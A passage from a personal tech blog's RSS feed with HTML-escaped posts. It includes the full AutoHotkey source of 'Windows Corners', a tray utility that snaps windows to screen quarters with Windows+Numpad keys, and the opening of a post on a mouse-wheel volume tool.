              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;      
 &lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/08/gofundme-calculator.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKsSsLbDcmp2yag81Gbod19HFA3TNvfT1kdhg2XwUoO6PuOZRC7WpebUUnI51FQQbNA2eK9ysyeNfEcbxzifbcYftu3WkwE2Dab2xo_WM2CHQBMEdtwNxe6Fww4Mk2vcZp7ypIbQFa6Hqw/s72-c/main_screen-gfmc.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-9172650705328272298</guid><pubDate>Fri, 15 Jul 2016 23:10:00 +0000</pubDate><atom:updated>2016-07-16T09:21:04.042-05:00</atom:updated><title>Windows Corners</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;https://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; font-family: Georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;
&lt;div id=&quot;fb-root&quot;&gt;
&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt; 
  &lt;br /&gt;
&lt;center&gt;
    &lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;
Windows Corners&lt;/h1&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/07/windows-corners.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;g-plusone&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;display: inline-block; margin-left: -40px; vertical-align: top;&quot;&gt;
&lt;a class=&quot;twitter-share-button&quot; data-hashtags=&quot;windows&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/07/windows-corners.html&quot; data-via=&quot;Lateralus138&quot; href=&quot;https://twitter.com/share&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
  &lt;/center&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
If you use hotkeys to do most things on your Windows OS then you are probably familiar with the Windows movement keys on the number pad (if your keyboard has one). By shutting NumLock off you can then hold down the Windows Key (Windows Logo) and press 2, 4, 6, or 8 (Down, Right, Up, and Left) on the numpad you can move documents and windows to whatever side of the screen in the direction of the arrow on the key. For Left and right (4,6) it strectches the window fullscreen vertically and half screen horizontally and for up it maximizes and down it either pulls you out of maximized states or minimizes.&lt;/div&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
Today I bring you &#39;Windows Corners&#39; which provides added functionality to the Windows Key+Numpad combo. By using the numpad keys 1, 3, 7, and 9 (sometimes End, PgDn, PgUp, and Home) you can now move windows to those corresponding corners at a quarter screen! Perfect for analyzing multiple documents or moving lots of projects and files at once.&lt;/div&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Usage&lt;/h3&gt;
&lt;/center&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
Windows Corners is a portable executable that can be placed anywhere and ran by double clicking or from command line like any other binary. Windows corners has no main gui, but runs in the system tray with options for restarting, a help screen, and also an option to run it at computer startup. If it is moved at any time you can fix the auto startup again by simply enabling it in the system tray again. This is an AutoHotkey script compiled for portability, but the script is provided for those who use AHK.&lt;/div&gt;
&lt;center&gt;
&lt;h3 style=&quot;color: red; font-weight: normal;&quot;&gt;
Download&lt;/h3&gt;
&lt;/center&gt;
&lt;ul style=&quot;list-style: none;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://app.box.com/s/wub9xzgik6egxsqgnpy59jksgmaqflff&quot; target=&quot;_blank&quot;&gt;Windows Corners&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.box.com/s/kb1xz1nkj4dma8p1z5v9d4hmbljhri8y&quot; target=&quot;_blank&quot;&gt;Windows Corners Source Files&lt;/a&gt; - AHK Script and Icon&lt;/li&gt;
&lt;/ul&gt;
&lt;center&gt;
&lt;h3 style=&quot;color: red; font-weight: normal;&quot;&gt;
Icon&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiebsL0nlEKhrKML2eyeVR8HsQ058ZXGbFNeldlqWnpQmTyjZh_cl_PNRX36OIbyhvbz76-ns-6U-z10ri3L4akhOIuh6KtwYmbvr28zLRGEomLiQh91DZMEFdKBCdSwp4XZMw_kY__z5EE/s1600/WindowsCorners.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiebsL0nlEKhrKML2eyeVR8HsQ058ZXGbFNeldlqWnpQmTyjZh_cl_PNRX36OIbyhvbz76-ns-6U-z10ri3L4akhOIuh6KtwYmbvr28zLRGEomLiQh91DZMEFdKBCdSwp4XZMw_kY__z5EE/s1600/WindowsCorners.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h3 style=&quot;color: red; font-weight: normal;&quot;&gt;
&amp;nbsp;&lt;/h3&gt;
&lt;/center&gt;
&lt;center&gt;&lt;h3 style=&quot;color: red; font-weight: normal;&quot;&gt;ScreenShot&lt;/h3&gt;&lt;/center&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj0zkQRxKIyy_hN1qQ49rsk2pGYCdihqLPmDhFtSNjVs99JINC84dEA4QUq6rHLXidmGIKORbXU6aWP4EfJaybWXvD1TEgA3NFwyfVrMBvf3j1ORmKpdkiQ2Btj3yUEczLntP_eHpMR8wj/s1600/Capture_C.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj0zkQRxKIyy_hN1qQ49rsk2pGYCdihqLPmDhFtSNjVs99JINC84dEA4QUq6rHLXidmGIKORbXU6aWP4EfJaybWXvD1TEgA3NFwyfVrMBvf3j1ORmKpdkiQ2Btj3yUEczLntP_eHpMR8wj/s320/Capture_C.png&quot; width=&quot;320&quot; height=&quot;180&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6j1jbq0bj20G5ZGDvfeeEgwdvjYsb6O7TuEMIvfI_ww_JZVz21JOJCqMLk5YBjjovBM6RxCNLYqhqrrJ0DQOKl_lXayADcfsSTCmR4jRcJQ-gdhjm1dzXyEnhLrsVAHQE0Jyc7lbXpoKv/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6j1jbq0bj20G5ZGDvfeeEgwdvjYsb6O7TuEMIvfI_ww_JZVz21JOJCqMLk5YBjjovBM6RxCNLYqhqrrJ0DQOKl_lXayADcfsSTCmR4jRcJQ-gdhjm1dzXyEnhLrsVAHQE0Jyc7lbXpoKv/s1600/Capture.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;center&gt;&lt;h3 style=&quot;color: red; font-weight: normal;&quot;&gt;Script&lt;/h3&gt;&lt;/center&gt;
&lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
; Windows Corners by Lateralus138 AKA Flux Apex AKA Ian Pride
OnMessage(0x201,&quot;WM_LBUTTONDOWN&quot;)
OnMessage(0x200,&quot;WM_MOUSEHOVER&quot;)
; Vars
vTextLucida :=  &quot;Windows Corners provides additional window movement keys&quot;
   . &quot; to the number pad. Normally you&quot; 
   . &quot; can use Windows Key (logo key)&quot;
   . &quot; +2,4,6, and 8 to move windows&quot;
   . &quot; to that corresponding direc-&quot;
   . &quot;`ntion. This application adds&quot;
   . &quot; these additional keys, hover`nkey to see function.&quot;
vTextArial :=  &quot;Windows Corners provides additional window movement keys&quot;
   . &quot; to the number pad. Normally you&quot; 
   . &quot; can use Windows Key (logo key)&quot;
   . &quot; +2,4,6, and 8 to move windows&quot;
   . &quot; to that corresponding direction.&quot;
   . &quot; This application adds&quot;
   . &quot; these additional keys, hover key to see function.&quot;
SetWorkingDir, %A_ScriptDir%
Global vThsScrpt := A_WorkingDir &quot;\&quot; A_ScriptName, vTxtHghtInit := &quot;20&quot;
If IsFont(&quot;Lucida Console&quot;)
 Global vFontN := &quot;Lucida Console&quot;, vFontS := &quot;13&quot;, vTxtMrgnTpA := &quot;4&quot;
   , vTxtHght := vTxtHghtInit, vTextFinal := vTextLucida, vBxHghtA := &quot;124&quot;
   , vBxHghtB := &quot;120&quot;, vBxHghtC := &quot;156&quot;, vBxHghtD := vBxHghtC + 44
   , vBttnH := &quot;44&quot;
Else
 Global vFontN := &quot;Arial&quot;, vFontS := &quot;12&quot;, vTxtMrgnTpA := &quot;3&quot;
   , vTxtHght := vTxtHghtInit - vTxtMrgnTpA, vTextFinal := vTextArial
   , vBxHghtA := &quot;102&quot;, vBxHghtB := &quot;98&quot;, vBxHghtC := &quot;134&quot;
   , vBxHghtD := vBxHghtC + 36, vBttnH := &quot;36&quot;
Global Hide1, Hide2, Hide3, Hide4, Hide5, Hide6, Hide7, Hide8, vHelp, vHelp2, vFontSs := vFontS - 3, vTxtMrgnTpB := vBxHghtC + 4, vBttnHT := vBttnH - 4
; Menu
fncTrayMenu()
 
; Hotkeys

; Main programs hotkeys
; &quot;A&quot; is for the active window, but this can be changed to
; work only in a specific window by passing any WinTitle 
; title such as &quot;ahk_class #32770&quot; or &quot;Notepad&quot; etc...
; A second variable can be passed for Window Text as well:
; E.g. fncMove45(&quot;ahk_class #32770&quot;,&quot;Format&quot;) or
; fncMove315(&quot;ahk_class #32770&quot;,&quot;Documents&quot;) etc...
#NumpadIns::fncHelp()
#NumpadDel::fncSplash()
#NumpadHome::fncMove315(&quot;A&quot;)
#NumpadEnd::fncMove225(&quot;A&quot;)
#NumpadPgup::fncMove45(&quot;A&quot;)
#NumpadPgdn::fncMove135(&quot;A&quot;)

; Functions
WM_LBUTTONDOWN(){
 If MouseOver(&quot;0&quot;, &quot;0&quot;, &quot;440&quot;, &quot;24&quot;)
  PostMessage, 0xA1, 2
 If MouseOver(&quot;240&quot;, &quot;7&quot;, &quot;250&quot;, &quot;17&quot;) 
  Gosub, gsExt
 If MouseOver(&quot;582&quot;, &quot;7&quot;, &quot;592&quot;, &quot;17&quot;) || MouseOver(&quot;422&quot;, &quot;7&quot;, &quot;432&quot;, &quot;17&quot;)
  Gosub, SplashGuiCloseA
}
WM_MOUSEHOVER(){
 global tme
 DllCall( &quot;TrackMouseEvent&quot;,&quot;uint&quot;,&amp;tme )
 If (A_Gui=vHelp)
  WinActivate
 If IsFont(&quot;Lucida Console&quot;)
  {
   fncMsOvrBttn(&quot;156&quot;, &quot;200&quot;, &quot;1&quot;, &quot;2&quot;)
   fncMsOvrBttn(&quot;204&quot;, &quot;248&quot;, &quot;3&quot;, &quot;4&quot;)
   fncMsOvrBttn(&quot;252&quot;, &quot;296&quot;, &quot;5&quot;, &quot;6&quot;)
   fncMsOvrBttn(&quot;300&quot;, &quot;344&quot;, &quot;7&quot;, &quot;8&quot;)  
  }
 Else
  {
   fncMsOvrBttn(&quot;134&quot;, &quot;170&quot;, &quot;1&quot;, &quot;2&quot;)
   fncMsOvrBttn(&quot;174&quot;, &quot;210&quot;, &quot;3&quot;, &quot;4&quot;)
   fncMsOvrBttn(&quot;214&quot;, &quot;250&quot;, &quot;5&quot;, &quot;6&quot;)
   fncMsOvrBttn(&quot;254&quot;, &quot;290&quot;, &quot;7&quot;, &quot;8&quot;)  
  }
}
fncMsOvrBttn(vYA, vYB, vHdA, vHdB){
 If MouseOver(&quot;0&quot;, vYA, &quot;85&quot;, vYB)
  {
   GuiControl, Show, Hide%vHdA%
   GuiControl, Show, Hide%vHdB%
  }
 Else
  {
   GuiControl, Hide, Hide%vHdA%
   GuiControl, Hide, Hide%vHdB%
  } 
}
MouseOver(_vXa, _vYa, _vXb, _vYb)
{
 MouseGetPos, _vPx, _vPy
 _vDtct := _vPx &gt;= _vXa AND _vPx &lt;= _vXb AND _vPy &gt;= _vYa AND _vPy &lt;= _vYb
 Return _vDtct
}
fncMove45(vTitle,vText := &quot;Default&quot;){
 If (vText = &quot;Default&quot;)
  vText =
 fncGtWrkAr(vWw, vWh,vWwc, vWhc)
 WinMove, %vTitle%, %vText% ,%vWwc% ,0, %vWwc%, %vWhc%
}
fncMove135(vTitle,vText := &quot;Default&quot;){
 If (vText = &quot;Default&quot;)
  vText =
 fncGtWrkAr(vWw, vWh,vWwc, vWhc)
 WinMove, %vTitle%, %vText% ,%vWwc% ,%vWhc%, %vWwc%, %vWhc%
}
fncMove225(vTitle,vText := &quot;Default&quot;){
 If (vText = &quot;Default&quot;)
  vText =
 fncGtWrkAr(vWw, vWh,vWwc, vWhc)
 WinMove, %vTitle%, %vText% ,0 ,%vWhc%, %vWwc%, %vWhc%
}
fncMove315(vTitle,vText := &quot;Default&quot;){
 If (vText = &quot;Default&quot;)
  vText =
 fncGtWrkAr(vWw, vWh,vWwc, vWhc)
 WinMove, %vTitle%, %vText% ,0 ,0, %vWwc%, %vWhc%
}
fncGtWrkAr(ByRef vWw, ByRef vWh, ByRef vWwc, ByRef vWhc){
 SysGet, vWa, MonitorWorkArea
 vWw := vWaRight - vWaLeft
 vWh := vWaBottom - vWaTop
 vWwc := vWw / 2
 vWhc := vWh / 2
} 
fncChckStrtUp(){
 RegRead, vStts, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, WindowsCorners
 If !vStts Or !(vStts = vThsScrpt)
  vStts := &quot;False&quot;
 Else
  vStts := &quot;True&quot;
 Return %vStts%
}
fncTrayMenu(){
 Menu, Tray, DeleteAll
 Menu, Tray, NoStandard
 Menu, Tray, Add, &amp;Restart Windows Corners, gsRld
 vRegCheck := fncChckStrtUp()
 If (vRegCheck = &quot;False&quot;)
  Menu, Tray, Add, Enable at &amp;startup, gsEnbleStrtp
 Else 
  Menu, Tray, Add, Disable at &amp;startup, gsDsbleStrtp
 Menu, Tray, Add, &amp;Help, fncHelp
 Menu, Tray, Add, &amp;Exit, gsEndAll
}
fncHelp(){
 WinClose, ahk_id %vHelp%
 Gui, New, +ToolWindow -Caption +HwndvHelp +AlwaysOnTop 
 Gui, Color, EABBAE
 Gui, Font, s%vFontS% cEED369, %vFontN%
 Gui, Add, Progress, x0 y0 w260 h24 c083045 BackgroundEED369, 100
 Gui, Add, Progress, xp+2 yp+2 w256 h20 c083045 BackgroundEED369, 100
 fncXButton(&quot;240&quot;,&quot;7&quot;,&quot;EED369&quot;)
 Gui, Add, Text, +BackgroundTrans x0 y%vTxtMrgnTpA% w260 h%vTxtHght% Center, Windows Corners Help
 Gui, Add, Progress, x0 y28 w260 h%vBxHghtA% c083045 BackgroundEED369, 100
 Gui, Font, s%vFontSs% cEED369, %vFontN%
 Gui, Add, Text, +BackgroundTrans x4 y32 w252 h%vBxHghtB% Center, % vTextFinal
 If IsFont(&quot;Lucida Console&quot;)
  {
   fncButton(&quot;156&quot;,&quot;1&quot;,&quot;2&quot;,&quot;Windows`n+NumPad1&quot;, &quot;Moves the active window to the lower left&quot;)
   fncButton(&quot;204&quot;,&quot;3&quot;,&quot;4&quot;,&quot;Windows`n+NumPad3&quot;, &quot;Moves the active window to the lower right&quot;)
   fncButton(&quot;252&quot;,&quot;5&quot;,&quot;6&quot;,&quot;Windows`n+NumPad7&quot;, &quot;Moves the active window to the upper left&quot;)
   fncButton(&quot;300&quot;,&quot;7&quot;,&quot;8&quot;,&quot;Windows`n+NumPad9&quot;, &quot;Moves the active window to the upper right&quot;) 
  }
 Else
  {
   fncButton(&quot;134&quot;,&quot;1&quot;,&quot;2&quot;,&quot;Windows`n+NumPad1&quot;, &quot;Moves the active window to the lower left&quot;)
   fncButton(&quot;174&quot;,&quot;3&quot;,&quot;4&quot;,&quot;Windows`n+NumPad3&quot;, &quot;Moves the active window to the lower right&quot;)
   fncButton(&quot;214&quot;,&quot;5&quot;,&quot;6&quot;,&quot;Windows`n+NumPad7&quot;, &quot;Moves the active window to the upper left&quot;)
   fncButton(&quot;254&quot;,&quot;7&quot;,&quot;8&quot;,&quot;Windows`n+NumPad9&quot;, &quot;Moves the active window to the upper right&quot;) 
  }
 Gui, Show, w260 h348, Windows Corners Help
 WinSet, TransColor, EABBAE, ahk_id %vHelp%
}
fncSplash(){
 WinClose, ahk_id %vHelp2%
 Gui, Splash: New, +ToolWindow -Caption +HwndvHelp2 +AlwaysOnTop 
 Gui, Splash: Color, EABBAE
 Gui,  Splash: Font, s%vFontS% cEED369, %vFontN%
 if IsFont(&quot;Lucida Console&quot;)
  {
   vWdth := &quot;600&quot;
   vMrgn := vWdth - 4
   vXB := &quot;582&quot;
  }
 Else
  {
   vWdth := &quot;440&quot;
   vMrgn := vWdth - 4
   vXB := &quot;422&quot;
  }
 Gui,  Splash: Add, Progress, x0 y0 w%vWdth% h24 c083045 BackgroundEED369, 100
 Gui,  Splash: Add, Progress, xp+2 yp+2 w%vMrgn% h20 c083045 BackgroundEED369, 100
 Gui,  Splash: Add, Text, +BackgroundTrans x0 y%vTxtMrgnTpA% w%vWdth% h%vTxtHght% Center, Please Remember to shut off NumLock for this to work...
 fncXButton(vXB,&quot;7&quot;,&quot;EED369&quot;)
 Gui,  Splash: Show, w%vWdth% h44, Please Remember to shut off NumLock for this to work...
 WinSet, TransColor, EABBAE, ahk_id %vHelp2%
}
fncButton(vBttnY, vHideA, vHideB, vTxtA, vTxtB){
 vTxtMrgnTpB := vBttnY + 4
 Gui, Add, Progress, x0 y%vBttnY% w85 h%vBttnH% c083045 BackgroundEED369, 100
 Gui, Add, Progress, xp+89 y%vBttnY% w171 h%vBttnH% cEED369 Background083045 Hidden vHide%vHideA%, 100
 Gui, Add, Text, +BackgroundTrans x0 y%vTxtMrgnTpB% w85 h%vBttnHT% Center, %vTxtA%
 Gui, Add, Text, +BackgroundTrans xp+89 y%vTxtMrgnTpB% w171 h%vBttnHT% Center Hidden vHide%vHideB% c083045, %vTxtB%
}
fncXButton(vXInit, vYInit, vClr){
 Gui, Add, Progress, x%vXInit% y%vYInit% w2 h2 cEED369 Background%vClr%, 100
 Gui, Add, Progress, xP+8 yp w2 h2 c%vClr% Background%vClr%, 100
 Gui, Add, Progress, xp-6 yp+2 w2 h2 c%vClr% Background%vClr%, 1007779
 Gui, Add, Progress, xp+4 yp w2 h2 c%vClr% Background%vClr%, 100
 Gui, Add, Progress, xp-2 yp+2 w2 h2 c%vClr% Background%vClr%, 100
 Gui, Add, Progress, xp-2 yp+2 w2 h2 c%vClr% Background%vClr%, 100
 Gui, Add, Progress, xp+4 yp w2 h2 c%vClr% Background%vClr%, 100
 Gui, Add, Progress, xp-6 yp+2 w2 h2 c%vClr% Background%vClr%, 100
 Gui, Add, Progress, xp+8 yP w2 h2 c%vClr% Background%vClr%, 100
}
IsFont(FontName){
 Loop, HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts
  {
   If (RegExMatch(A_LoopRegName, &quot;^&quot; . FontName . &quot; \(&quot;) &gt; 0)
    Return 1
  }
 Return 0
}

; Gosubs
gsSplashOff:
 Gui, Splash: Destroy
Return
gsRld:
 Reload
Return
gsEnbleStrtp:
 RegWrite, REG_SZ, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, WindowsCorners, % vThsScrpt
 fncTrayMenu()
Return
gsDsbleStrtp:
 RegDelete, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, WindowsCorners
 fncTrayMenu()
Return
SplashGuiCloseA:
SplashGuiClose:
SplashGuiEscape:
 Gui, Splash: Destroy
Return
GuiClose:
GuiEscape:
gsExt:
 Gui, Destroy
 SetTimer, gsSplashOff, 3000
 fncSplash()
Return
gsEndAll:
 ExitApp
&lt;/pre&gt;
&lt;/div&gt;
&lt;center&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/07/windows-corners.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;g-plusone&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;display: inline-block; margin-left: -40px; vertical-align: top;&quot;&gt;
&lt;a class=&quot;twitter-share-button&quot; data-hashtags=&quot;windows&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/07/windows-corners.html&quot; data-via=&quot;Lateralus138&quot; href=&quot;https://twitter.com/share&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
  &lt;/center&gt;
&lt;script async=&quot;&quot; defer=&quot;&quot; src=&quot;https://apis.google.com/js/platform.js&quot;&gt;&lt;/script&gt; 
&lt;/div&gt;
</description><link>https://techmicrocosm.blogspot.com/2016/07/windows-corners.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiebsL0nlEKhrKML2eyeVR8HsQ058ZXGbFNeldlqWnpQmTyjZh_cl_PNRX36OIbyhvbz76-ns-6U-z10ri3L4akhOIuh6KtwYmbvr28zLRGEomLiQh91DZMEFdKBCdSwp4XZMw_kY__z5EE/s72-c/WindowsCorners.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-1711939520078719</guid><pubDate>Wed, 15 Jun 2016 15:59:00 +0000</pubDate><atom:updated>2016-06-16T17:33:11.460-05:00</atom:updated><title>Volume Revolver - Sound control with the mouse wheel</title><description>
&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&amp;#39;https://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&amp;#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; font-family: Georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;

  &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
  &lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt; 

  &lt;br /&gt;
  &lt;center&gt;
    &lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;Volume Revolver V1.0&lt;/h1&gt;
    &lt;hr style=&quot;border-style: dashed;&quot; /&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/06/volume-revolver-sound-control-with.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
    &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/06/volume-revolver-sound-control-with.html&quot; data-via=&quot;Lateralus138&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
    &lt;hr style=&quot;border-style: dashed;&quot; /&gt;
  &lt;/center&gt;
  &lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
    &lt;p style=&quot;text-indent: 24px;&quot;&gt; If you listen to or watch media on your computer then you know it can be a pain to change the volume sometimes, especially if you don&#39;t have a media keyboard. Lots of people (including myself) like to use apps that utilize the mousewheel for quick, on-the-fly volume control.&lt;/p&gt;
    &lt;p style=&quot;text-indent: 24px;&quot;&gt; There are a few programs out there that work well, but most have a bunch of extra stuff I don&#39;t use or need and even though I have a large hard drive I prefer applications as small as possible. There is nothing wrong with those programs and if I hadn&#39;t written my own I would certainly recommend them, but today I bring you Volume Revolver V1.0!!! &lt;/p&gt;
    &lt;p style=&quot;text-indent: 24px;&quot;&gt; Volume Revolver is a very small, quick, and efficient program that, as stated above, controls your computer with modifier keys and the mouse wheel. For example to turn the volume up slowly (precise) you would hold the &amp;#39;Control&amp;#39; key and scroll the mouse wheel up. To turn the volume up fast (+10 each scroll) just hold the &amp;#39;Shift&amp;#39; key and scroll the mouse wheel up etc. &lt;/p&gt;
    &lt;p style=&quot;text-indent: 24px;&quot;&gt;Volume Revolver is an AHK script compiled for portability and dependencies, if you would like to use the actual script you must have AutoHotkey installed. &lt;/p&gt;
    &lt;br /&gt;
    &lt;h3 style=&quot;color: red;&quot;&gt;Usage:&lt;/h3&gt;
    &lt;p style=&quot;text-indent: 24px;&quot;&gt; To use just place the portable executable wherever you like and run.  It runs in the background, but has a system tray icon with options and a help screen, but the help screen can be accessed via the Control+Click Wheel Button. You can set this to run at startup with a system tray option and if you move the application there is a fix startup button to reset the old startup entry and prepare for the new one. &lt;/p&gt;
    &lt;center&gt;
      &lt;h4 style=&quot;color: #FF7777; font-weight: normal;&quot;&gt;Screen of the &amp;#39;Help&amp;#39; window&lt;/h4&gt;
    &lt;/center&gt;
